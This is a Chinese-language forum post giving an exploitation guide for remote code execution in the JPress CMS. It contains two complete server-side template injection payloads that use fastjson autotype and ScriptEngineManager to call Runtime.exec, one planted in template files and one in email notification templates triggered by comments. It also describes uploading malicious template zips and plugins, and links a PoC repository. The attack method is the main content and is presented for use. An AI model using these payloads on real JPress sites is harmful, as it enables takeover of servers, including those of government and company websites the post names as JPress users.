Jpress远程代码执行漏洞挖掘指南

0x01 JPress简介
JPress是一个采用Java开发的开源免费的建站工具,受到WordPress的启发。目前,已有超过10w+的网站采用JPress构建,其中包括多个政府机构、200+上市公司以及中科院、红十字会等。

0x02 RCE模板注入
管理员登录后,可通过修改模板文件实现getshell操作。以下以index.html为例进行说明:

<code>#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) #(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) #set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}')) #set(e=x.getEngineByName("js")) #(e.eval('java.lang.Runtime.getRuntime().exec("open -a Calculator")'))</code>
图片[1]-Jpress远程代码执行漏洞挖掘指南-山海云端论坛

分析可知,接口io.jpress.web.admin#doEditSave()存在漏洞,允许对模板文件进行写入操作,导致远程代码执行。

图片[2]-Jpress远程代码执行漏洞挖掘指南-山海云端论坛

0x03 安装模板RCE
通过构造数据包,可以在安装模板时实现远程代码执行。首先准备模板文件,如index.html、screenshot.png和template.properties,然后打包为zip文件进行上传。或者将模板文件夹直接复制到JPress的templates目录下即可。通过在index.html中写入SSTI(Server-Side Template Injection)的payload,然后进行打包上传和启用/预览,即可实现RCE。

0x04 邮件模板RCE
在文章设置中开启邮件通知,并在输入框中输入以下内容,即可实现RCE:

<code>#set(str=comment.content) #set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) #(x.setAutoTypeSupport(true)) #set(sem=str.substring(0, str.indexOf(124))) #set(str=str.substring(str.indexOf(124)+1)) #(x.addAccept(sem)) #set(json=str.substring(0, str.indexOf(124))) #set(str=str.substring(str.indexOf(124)+1)) #set(x=com.alibaba.fastjson.JSON::parse(json)) #set(js=str.substring(0, str.indexOf(124))) #set(str=str.substring(str.indexOf(124)+1)) #set(e=x.getEngineByName(js)) #(e.eval(str))</code>

然后在任意评论中输入触发payload即可。

0x06 安装恶意插件RCE
通过开发恶意插件,可以在JPress中实现RCE。编写恶意插件并打包,然后在接口中写入执行命令的函数。安装后即可通过访问相应URL来执行命令。

0x07 POC连接
相关POC可在https://github.com/Fw-fW-fw/jpress-poc获取。

这是对JPress远程代码执行漏洞的详细分析与利用方法。

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容